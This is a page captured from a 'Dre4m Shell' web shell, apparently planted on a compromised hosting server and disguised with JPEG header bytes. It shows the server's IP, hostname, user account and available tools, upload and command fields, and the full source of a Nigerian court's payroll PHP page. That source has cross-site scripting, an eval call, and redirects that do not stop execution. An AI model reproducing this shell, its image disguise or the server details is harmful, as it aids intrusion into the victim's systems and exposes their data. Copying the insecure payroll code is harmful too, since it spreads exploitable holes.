ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.22.249.93
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/consolidated/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/consolidated/con_one_payroll.php
<?php
require_once('business logic/classes/users.php');
require_once('business logic/classes/consolidated_payroll.php');
//
$user = new User();

$con = new Consolidated();
//
$uid = $_SESSION['uid'];
$access = $_SESSION['acc'];
//
if($access > 2)
   header("location:delay.php");

if (!$user->get_session())
{
   header("location:myown_mainpage.php?you are not login");
}
//
if (isset($_GET['q']) and $_GET['q'] == 'logout') 
{
    $user->user_logout();
    header("location:myown_mainpage.php? you are log out");
}
//
if (($_SERVER["REQUEST_METHOD"] == "POST") and ($_POST['compute'] == "Compute")) { 
    $msg = $con->con_one_payroll($_POST['file'], $_POST['month'], $_POST['year'] ); 
	echo "<script type = 'text/javascript'> document.getElementbyId('details').style.display = 'inline';</script>";
}

?>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="images/favicon.ico">
<title>National Industrial Court of Nigeria...::...Personal Emoluments Record</title>
<link href="css/payroll.css" rel="stylesheet" type="text/css" />
<style type="text/css">
<!--
.style25 {	font-family: Verdana, Arial, Helvetica, sans-serif;
	color: #FF0000;
}
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: underline;
}
a:active {
	text-decoration: none;
}
.inputs {	background-color: #ffffff;
	margin: 2px;
	padding: 2px;
	border: 1px solid #FF8A00;
}
-->
</style>
<script language="javascript" type="text/javascript"> 
function submitregistration() {
 var form = document.login;
 
if(form.file.value == "")
{
alert( "Select Staff  to edit" );
return false;
}
else if(form.month.value == "")
{
alert( "Select month to compute" );
return false;
}
else if( form.year.value == "")
{
alert( "Select year to compute" );
return false;
}
// Select Gendergender
}
</script> 
<script language="javascript" src="js/cal2.js">
/*
Xin's Popup calendar script-  Xin Yang (http://www.yxscripts.com/)
Script featured on/available at http://www.dynamicdrive.com/
This notice must stay intact for use
*/
</script>
<script language="javascript" src="js/cal_conf2.js"></script>
<script type="text/javascript">
<!--
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
//-->
</script>
</head>

<body onLoad="document.login.perid.focus();">
<table width="744" border="0" cellpadding="0" cellspacing="0" class="container" align="center" >
  <!--DWLayoutTable-->
  <tr>
    <td width="800" height="42" colspan="2" valign="top"><?php require_once('header.php');?></td>
  </tr>
  <tr>
    <td height="19" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" class="bottomborder">
      <!--DWLayoutTable-->
      <tr>
        <td width="26%">&nbsp;<a href="userArea.php">Home</a></td>
        <td width="74%"><?php 
			 //$user->getLink($access);
			  $user->get_fullname($uid);
		
		?>          <a href="?q=logout">Logout</a>&nbsp;</td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="243" valign="top"><br />
      <?php require('links.php');?>
<br /></td>
    <td valign="top"><table width="481" border="0" align="left" cellpadding="0" cellspacing="0">
      <tr>
        <td width="481" colspan="3"><br />
        <fieldset>
          <legend>Compute Payroll for One<br />
            </legend>
          <form id="login" name="login" method="post" action="">
            <table width="95%"  border="0" align="center" cellpadding="0" cellspacing="3">
              <tr class="listtop">
                <td colspan="3"><span class="style25">
                  <?php if(isset($msg))
			echo $msg;
			
			?>
                </span></td>
              </tr>
              <tr>
                <td width="31%"><div align="right">Select Staff Name</div></td>
                <td width="69%"><select name="jumpMenu" id="jumpMenu" onchange="MM_jumpMenu('parent',this,0)">
          <option selected="selected">Select Name</option>
          <?php
		  	$division =  $_SESSION['division'];
			//mysql_select_db($database_conn, $conn);
			$result = mysql_query("select * from tblper where employee_type = 'CONSOLIDATED' order by surname, othernames");
			while($rows = mysql_fetch_assoc($result))
			{
				if(isset($_GET['p']) && ($rows['fileNo']==$_GET['p']))
				{	
					$update_value = strtoupper($rows['fileNo']);
					$grade = $rows['grade'];
					$step = $rows['step'];
					$emp_type =  strtoupper($rows['employee_type']);
					$title = strtoupper($rows['title']);
					$sname = strtoupper($rows['surname']);
					$fname = strtoupper($rows['first_name']);
					$oname  = strtoupper($rows['othernames']);
				}							
				echo "<option value='con_one_payroll.php?p=".$rows['fileNo']."'>".$rows['surname']." ".$rows['first_name']." ".$rows['othernames']."</option>";
			}
		?>
                                                     </select></td>
              </tr>
              <tr>
                <td colspan="2"><?php echo $title." ".$sname." ".$fname." ".$oname; ?> </td>
                </tr>
              <tr>
                <td><div align="right">FileNo</div></td>
                <td><input name="file" type="text" id="file"  value="<?php echo $update_value;?>" size="6" readonly="readonly" /></td>
              </tr>
              <tr>
                <td colspan="2"><input type="hidden" name="fileno"  value="<?php echo $update_value; ?>"/>
                  <strong>Grade</strong>:<?php echo $grade;?> <strong>&nbsp; &nbsp;Step</strong>:<?php echo $step;?> &nbsp;&nbsp; &nbsp; <strong>Employee Type</strong>: <?php echo $emp_type;?></td>
                </tr>
              <tr>
                <td width="31%"><div align="right">Month</div></td>
                <td width="69%"><select name="month" id="month">
                  <option value="">Select Month</option>
                  <option value="January">January</option>
                  <option value="February">February</option>
                  <option value="March">March</option>
                  <option value="April">April</option>
                  <option value="May">May</option>
                  <option value="June">June</option>
                  <option value="July">July</option>
                  <option value="August">August</option>
                  <option value="September">September</option>
                  <option value="October">October</option>
                  <option value="November">November</option>
                  <option value="December">December</option>
                  </select></td>
              </tr>
              <tr>
                <td><div align="right">Year</div></td>
                <td><select name="year" id="year">
                  <option value="">Select Year</option>
                  <option value="2010">2010</option>
                  <option value="2011">2011</option>
                  <option value="2012">2012</option>
                  <option value="2013">2013</option>
                  <option value="2014">2014</option>
                  <option value="2015">2015</option>
                  <option value="2016">2016</option>
                  <option value="2017">2017</option>
                  <option value="2018">2018</option>
                  <option value="2019">2019</option>
                  <option value="2020">2020</option>
                  <option value="2021">2021</option>
                  <option value="2022">2022</option>
                  <option value="2023">2023</option>
                  <option value="2024">2024</option>
                  <option value="2025">2025</option>
                  <option value="2026">2026</option>
                  <option value="2027">2027</option>
                  <option value="2028">2028</option>
                  <option value="2029">2029</option>
                  <option value="2030">2030</option>
                  <option value="2031">2031</option>
                  <option value="2032">2032</option>
                  <option value="2033">2033</option>
                  <option value="2024">2034</option>
                  <option value="2035">2035</option>
                  <option value="2036">2036</option>
                  <option value="2037">2037</option>
                  <option value="2038">2038</option>
                  <option value="2039">2039</option>
                  <option value="2040">2040</option>
                  </select></td>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td><input type="hidden" name="flag" value="login"/>
                  <input type="submit" name="compute" value="Compute"  onclick="return( submitregistration());" id="compute"/></td>
              </tr>
            </table>
          </form>
        </fieldset></td>
      </tr>
    </table>
    <!--the hidden message box for computational details-->
    <script language="javascript">
function me(){
var k = window.screen.width;
var j = window.screen.height;

var nn = k - document.getElementById('i').style.width;
nn = nn/2;
//document.writeln(nn+','+j);
document.getElementById('i').style.left = nn+"px";
document.getElementById('i').style.display = "inline";
document.getElementById('details').style.display = "none";
//document.writeln('hi');
}

function hide()
{
	document.getElementById('i').style.display = "none";
	document.getElementById('details').style.display = "inline";
}
</script>

    <div id="i" style="position:absolute; display:none; height:500px; width:500px; background-color:#fff; border:ridge; margin-top:5px; top:20px; left:400px; padding-left:30px">
<b>Computational Details</b><a href="#"><img alt="close" align="right" src="images/close1.jpg" onclick="hide()" /></a><br />
<div style = "overflow:scroll; height:480px">
<?php echo $com_msg; ?>
</div>
</div>
    <!--end of computational details-->
    </td>
  </tr>
  <tr>
    <td height="20" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">
      <!--DWLayoutTable-->
      <tr>
        <td align="right">
		</td>
      </tr>
    </table></td>
  </tr>
</table>
</body>
</html>
<?php $user->close();?>

Anon7 - 2022
AnonSec Team